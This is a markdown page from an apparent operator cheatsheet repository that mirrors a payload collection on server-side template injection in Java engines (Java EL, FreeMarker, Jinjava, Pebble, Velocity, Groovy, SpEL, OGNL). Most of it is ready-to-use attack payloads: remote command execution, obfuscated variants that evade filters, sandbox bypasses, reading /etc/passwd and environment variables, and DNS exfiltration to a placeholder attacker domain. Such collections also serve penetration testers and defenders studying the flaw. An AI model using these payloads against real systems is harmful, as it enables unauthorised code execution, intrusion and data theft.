daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

java.md (22974B)


      1 ---
      2 title: "Server Side Template Injection - Java"
      3 topic: "Server Side Template Injection"
      4 topicSlug: "server-side-template-injection"
      5 sourcePath: "Server Side Template Injection/Java.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/Java.md"
      7 sha: "3ac27901c711"
      8 isReadme: false
      9 ---
     10 
     11 # Server Side Template Injection - Java
     12 
     13 > Server-Side Template Injection (SSTI)  is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.
     14 
     15 ## Summary
     16 
     17 - [Templating Libraries](#templating-libraries)
     18 - [Java EL](#java-el)
     19     - [Java EL - Basic Injection](#java-el---basic-injection)
     20     - [Java EL - Code Execution](#java-el---code-execution)
     21 - [Freemarker](#freemarker)
     22     - [Freemarker - Basic Injection](#freemarker---basic-injection)
     23     - [Freemarker - Read File](#freemarker---read-file)
     24     - [Freemarker - Code Execution](#freemarker---code-execution)
     25     - [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation)
     26     - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
     27 - [Jinjava](#jinjava)
     28     - [Jinjava - Basic Injection](#jinjava---basic-injection)
     29     - [Jinjava - Command Execution](#jinjava---command-execution)
     30 - [Pebble](#pebble)
     31     - [Pebble - Basic Injection](#pebble---basic-injection)
     32     - [Pebble - Code Execution](#pebble---code-execution)
     33 - [Velocity](#velocity)
     34 - [Groovy](#groovy)
     35     - [Groovy - Basic Injection](#groovy---basic-injection)
     36     - [Groovy - Read File](#groovy---read-file)
     37     - [Groovy - HTTP Request:](#groovy---http-request)
     38     - [Groovy - Command Execution](#groovy---command-execution)
     39     - [Groovy - Command Execution with Obfuscation](#groovy---command-execution-with-obfuscation)
     40     - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
     41 - [Spring Expression Language](#spring-expression-language)
     42     - [SpEL - Basic Injection](#spel---basic-injection)
     43     - [SpEL - Retrieve Environment Variables](#spel---retrieve-environment-variables)
     44     - [SpEL - Retrieve /etc/passwd](#spel---retrieve-etcpasswd)
     45     - [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
     46     - [SpEL - Session Attributes](#spel---session-attributes)
     47     - [SpEL - Command Execution](#spel---command-execution)
     48 - [Object-Graph Navigation Language](#object-graph-navigation-language)
     49     - [OGNL - Basic Injection](#ognl---basic-injection)
     50     - [OGNL - Command Execution](#ognl---command-execution)
     51 - [References](#references)
     52 
     53 ## Templating Libraries
     54 
     55 | Template Name | Payload Format         |
     56 |---------------|------------------------|
     57 | Codepen       | `#{ }`                 |
     58 | Freemarker    | `${ }`, `#{ }`, `[= ]` |
     59 | Groovy        | `${ }`                 |
     60 | Jinjava       | `{{ }}`                |
     61 | Pebble        | `{{ }}`                |
     62 | SpEL          | `*{ }`, `#{ }`, `${ }` |
     63 | Thymeleaf     | `[[ ]]`                |
     64 | Velocity      | `#set($X="") $X`       |
     65 
     66 ## Java EL
     67 
     68 ### Java EL - Basic Injection
     69 
     70 Java has multiple Expression Languages using similar syntax.
     71 
     72 > Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
     73 
     74 ```java
     75 ${7*7}
     76 ${{7*7}}
     77 ${class.getClassLoader()}
     78 ${class.getResource("").getPath()}
     79 ${class.getResource("../../../../../index.htm").getContent()}
     80 ```
     81 
     82 ### Java EL - Code Execution
     83 
     84 ```java
     85 ${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE
     86 ${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE
     87 ${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE
     88 ${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE
     89 
     90 ```
     91 
     92 ---
     93 
     94 ## Freemarker
     95 
     96 [Official website](https://freemarker.apache.org/)
     97 > Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
     98 
     99 You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
    100 
    101 ### Freemarker - Basic Injection
    102 
    103 The template can be :
    104 
    105 - Default: `${3*3}`  
    106 - Legacy: `#{3*3}`
    107 - Alternative: `[=3*3]` since [FreeMarker 2.3.4](https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html)
    108 
    109 ### Freemarker - Read File
    110 
    111 ```js
    112 ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
    113 Convert the returned bytes to ASCII
    114 ```
    115 
    116 ### Freemarker - Code Execution
    117 
    118 ```js
    119 <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
    120 [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
    121 ${"freemarker.template.utility.Execute"?new()("id")}
    122 #{"freemarker.template.utility.Execute"?new()("id")}
    123 [="freemarker.template.utility.Execute"?new()("id")]
    124 
    125 ${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE
    126 ${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE
    127 ${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE
    128 ```
    129 
    130 ### Freemarker - Code Execution with Obfuscation
    131 
    132 FreeMarker offers the built-in function: `lower_abc`. This function converts int-based values into alphabetic strings, but not in the way you might expect from functions such as `chr` in Python, as the [documentation for lower_abc explains](https://freemarker.apache.org/docs/ref_builtins_number.html#ref_builtin_lower_abc):
    133 
    134 If you wanted a string that represents the string: "id", you could use the payload: `${9?lower_abc+4?lower_abc)}`.
    135 
    136 Chaining `lower_abc` to perform code execution (command: `id`):
    137 
    138 ```js
    139 ${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
    140 ```
    141 
    142 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
    143 
    144 ### Freemarker - Sandbox Bypass
    145 
    146 :warning: only works on Freemarker versions below 2.3.30
    147 
    148 ```js
    149 <#assign classloader=article.class.protectionDomain.classLoader>
    150 <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
    151 <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
    152 <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
    153 ${dwf.newInstance(ec,null)("id")}
    154 ```
    155 
    156 ---
    157 
    158 ## Jinjava
    159 
    160 [Official website](https://github.com/HubSpot/jinjava)
    161 > Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
    162 
    163 ### Jinjava - Basic Injection
    164 
    165 ```python
    166 {{'a'.toUpperCase()}} would result in 'A'
    167 {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
    168 ```
    169 
    170 Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
    171 
    172 ### Jinjava - Command Execution
    173 
    174 Fixed by [HubSpot/jinjava PR #230](https://github.com/HubSpot/jinjava/pull/230)
    175 
    176 ```ps1
    177 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
    178 
    179 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
    180 
    181 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
    182 
    183 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
    184 ```
    185 
    186 ---
    187 
    188 ## Pebble
    189 
    190 [Official website](https://pebbletemplates.io/)
    191 
    192 > Pebble is a Java templating engine inspired by [Twig](/payloads/server-side-template-injection/php#twig) and similar to the Python [Jinja](/payloads/server-side-template-injection/python#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
    193 
    194 ### Pebble - Basic Injection
    195 
    196 ```java
    197 {{ someString.toUPPERCASE() }}
    198 ```
    199 
    200 ### Pebble - Code Execution
    201 
    202 Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
    203 
    204 New version of Pebble :
    205 
    206 ```java
    207 {% set cmd = 'id' %}
    208 {% set bytes = (1).TYPE
    209      .forName('java.lang.Runtime')
    210      .methods[6]
    211      .invoke(null,null)
    212      .exec(cmd)
    213      .inputStream
    214      .readAllBytes() %}
    215 {{ (1).TYPE
    216      .forName('java.lang.String')
    217      .constructors[0]
    218      .newInstance(([bytes]).toArray()) }}
    219 ```
    220 
    221 ---
    222 
    223 ## Velocity
    224 
    225 [Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
    226 
    227 > Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
    228 
    229 In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
    230 
    231 ```java
    232 #set($str=$class.inspect("java.lang.String").type)
    233 #set($chr=$class.inspect("java.lang.Character").type)
    234 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
    235 $ex.waitFor()
    236 #set($out=$ex.getInputStream())
    237 #foreach($i in [1..$out.available()])
    238 $str.valueOf($chr.toChars($out.read()))
    239 #end
    240 ```
    241 
    242 A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
    243 
    244 ```java
    245 #set($base64EncodedCommand = 'd2hvYW1p')
    246 
    247 #set($contextObjectClass = $knownContextObject.getClass())
    248 
    249 #set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
    250 #set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
    251 #set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))
    252 
    253 #set($StringClass = $contextObjectClass.forName("java.lang.String"))
    254 #set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))
    255 
    256 #set($commandArgs = ["/bin/sh", "-c", $command])
    257 
    258 #set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
    259 #set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
    260 #set($processBuilder = $processBuilder.redirectErrorStream(true))
    261 #set($process = $processBuilder.start())
    262 #set($exitCode = $process.waitFor())
    263 
    264 #set($inputStream = $process.getInputStream())
    265 #set($ScannerClass = $contextObjectClass.forName("java.util.Scanner"))
    266 #set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream))
    267 #set($scannerDelimiter = $scanner.useDelimiter("\\A"))
    268 
    269 #if($scanner.hasNext())
    270   #set($output = $scanner.next().trim())
    271   $output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
    272 #end
    273 ```
    274 
    275 Error-Based RCE payload:
    276 
    277 ```java
    278 #set($s="")
    279 #set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
    280 #set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
    281 #set($n=$p.waitFor())
    282 #set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
    283 #include($b)
    284 ```
    285 
    286 Boolean-Based RCE payload:
    287 
    288 ```java
    289 #set($s="")
    290 #set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
    291 #set($n=$p.waitFor())
    292 #set($r=$p.exitValue())
    293 #if($r != 0)
    294 #include("Y:/A:/xxx")
    295 #end
    296 ```
    297 
    298 Time-Based RCE payload:
    299 
    300 ```java
    301 #set($s="")
    302 #set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
    303 #set($n=$p.waitFor())
    304 #set($r=$p.exitValue())
    305 #if($r != 0)
    306 #set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
    307 #end
    308 ```
    309 
    310 ---
    311 
    312 ## Groovy
    313 
    314 [Official website](https://groovy-lang.org/)
    315 
    316 ### Groovy - Basic injection
    317 
    318 Refer to [groovy-lang.org/syntax](https://groovy-lang.org/syntax.html) , but `${9*9}` is the basic injection.
    319 
    320 ### Groovy - Read File
    321 
    322 ```groovy
    323 ${String x = new File('c:/windows/notepad.exe').text}
    324 ${String x = new File('/path/to/file').getText('UTF-8')}
    325 ${new File("C:\Temp\FileName.txt").createNewFile();}
    326 ```
    327 
    328 ### Groovy - HTTP Request
    329 
    330 ```groovy
    331 ${"http://www.google.com".toURL().text}
    332 ${new URL("http://www.google.com").getText()}
    333 ```
    334 
    335 ### Groovy - Command Execution
    336 
    337 ```groovy
    338 ${"calc.exe".exec()}
    339 ${"calc.exe".execute()}
    340 ${this.evaluate("9*9") //(this is a Script class)}
    341 ${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
    342 ```
    343 
    344 ### Groovy - Command Execution with Obfuscation
    345 
    346 You can bypass security filters by constructing strings from ASCII codes and executing them as system commands.
    347 
    348 Payload represent the string: `id`: `${((char)105).toString()+((char)100).toString()}`.
    349 
    350 Execute system command (command: `id`):
    351 
    352 ```groovy
    353 ${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}
    354 ```
    355 
    356 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
    357 
    358 ### Groovy - Sandbox Bypass
    359 
    360 ```groovy
    361 ${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
    362 def x }
    363 ```
    364 
    365 or
    366 
    367 ```groovy
    368 ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
    369 ```
    370 
    371 ---
    372 
    373 ## Spring Expression Language
    374 
    375 > Java EL payloads also work for SpEL
    376 
    377 [Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html)
    378 
    379 > The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.
    380 
    381 ### SpEL - Basic Injection
    382 
    383 > SpEL has built-in templating system using `#{ }`, but SpEL is also commonly used for interpolation using `${ }`.
    384 
    385 ```java
    386 ${7*7}
    387 ${'patt'.toString().replace('a', 'x')}
    388 ${T(java.lang.Integer).valueOf('1')}
    389 ```
    390 
    391 ### SpEL - Retrieve Environment Variables
    392 
    393 ```java
    394 ${T(java.lang.System).getenv()}
    395 ```
    396 
    397 ### SpEL - Retrieve /etc/passwd
    398 
    399 ```java
    400 ${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
    401 
    402 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
    403 ```
    404 
    405 ### SpEL - DNS Exfiltration
    406 
    407 DNS lookup
    408 
    409 ```java
    410 ${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","[ATTACKER.DOMAIN.TLD]")}
    411 ```
    412 
    413 ### SpEL - Session Attributes
    414 
    415 Modify session attributes
    416 
    417 ```java
    418 ${pageContext.request.getSession().setAttribute("admin",true)}
    419 ```
    420 
    421 ### SpEL - Command Execution
    422 
    423 - Method using `java.lang.Runtime` #1 - accessed with JavaClass
    424 
    425     ```java
    426     ${T(java.lang.Runtime).getRuntime().exec("whoami")}
    427     ```
    428 
    429 - Method using `java.lang.Runtime` #2
    430 
    431     ```java
    432     #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
    433     #{session.getAttribute("rtc").setAccessible(true)}
    434     #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
    435     ```
    436 
    437 - Method using `java.lang.Runtime` #3 - accessed with `invoke`
    438 
    439     ```java
    440     ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}
    441     ```
    442 
    443 - Method using `java.lang.Runtime` #3 - accessed with `javax.script.ScriptEngineManager`
    444 
    445     ```java
    446     ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"whoami\\\")"))}
    447     ```
    448 
    449 - Method using `java.lang.ProcessBuilder`
    450 
    451     ```java
    452     ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
    453     ${request.getAttribute("c").add("cmd.exe")}
    454     ${request.getAttribute("c").add("/k")}
    455     ${request.getAttribute("c").add("whoami")}
    456     ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
    457     ${request.getAttribute("a")}
    458     ```
    459   
    460 - Error-Based payload:
    461   
    462     ```java
    463     ${T(java.lang.Integer).valueOf("x"+T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("id").inputStream.readAllBytes()))}
    464     ```
    465   
    466 - Boolean-Based payload:
    467   
    468     ```java
    469     ${1/((T(java.lang.Runtime).getRuntime().exec("id").waitFor()==0)?1:0)+""}
    470     ```
    471   
    472 - Time-Based payload:
    473   
    474     ```java
    475     ${(T(java.lang.Runtime).getRuntime().exec("id").waitFor().equals(0)?T(java.lang.Thread).sleep(5000):0).toString()}
    476     ```
    477 
    478 ## Object-Graph Navigation Language
    479 
    480 [Official website](https://commons.apache.org/dormant/commons-ognl/)
    481 
    482 > OGNL stands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.
    483 
    484 ### OGNL - Basic Injection
    485 
    486 > OGNL can be used with different tags like `${ }`
    487 
    488 ```java
    489 7*7
    490 'patt'.toString().replace('a', 'x')
    491 @java.lang.Integer@valueOf('1')
    492 ```
    493 
    494 ### OGNL - Command Execution
    495 
    496 Rendered:
    497 
    498 ```java
    499 new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())
    500 ```
    501 
    502 Error-Based:
    503 
    504 ```java
    505 (new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))/0
    506 ```
    507 
    508 Boolean-Based:
    509 
    510 ```java
    511 1/((@java.lang.Runtime@getRuntime().exec("id").waitFor()==0)?1:0)+""
    512 ```
    513 
    514 Time-Based:
    515 
    516 ```java
    517 ((@java.lang.Runtime@getRuntime().exec("id").waitFor().equals(0))?@java.lang.Thread@sleep(5000):0)
    518 ```
    519 
    520 ## References
    521 
    522 - [Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020](https://web.archive.org/web/20200707130000/https://securitylab.github.com/research/bean-validation-RCE)
    523 - [Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022](https://web.archive.org/web/20230203103413/https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
    524 - [Expression Language Injection - OWASP - December 4, 2019](https://web.archive.org/web/20200422030628/https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection)
    525 - [Expression Language injection - PortSwigger - January 27, 2019](https://web.archive.org/web/20251215015718/https://portswigger.net/kb/issues/00100f20_expression-language-injection)
    526 - [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://web.archive.org/web/20250219021221/https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
    527 - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://web.archive.org/web/20240906203847/https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
    528 - [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://web.archive.org/web/20181207164702/https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
    529 - [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://web.archive.org/web/20200923134700/https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
    530 - [Server Side Template Injection – on the example of Pebble - Michał Bentkowski - September 17, 2019](https://web.archive.org/web/20250810034644/https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
    531 - [Server-Side Template Injection: RCE For The Modern Web App - James Kettle (@albinowax) - December 10, 2015](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
    532 - [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://web.archive.org/web/20150808084830/https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
    533 - [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://web.archive.org/web/20200501162014/https://www.youtube.com/watch?v=3cT0uE7Y87s)
    534 - [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://web.archive.org/web/20220412162651/https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
    535 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)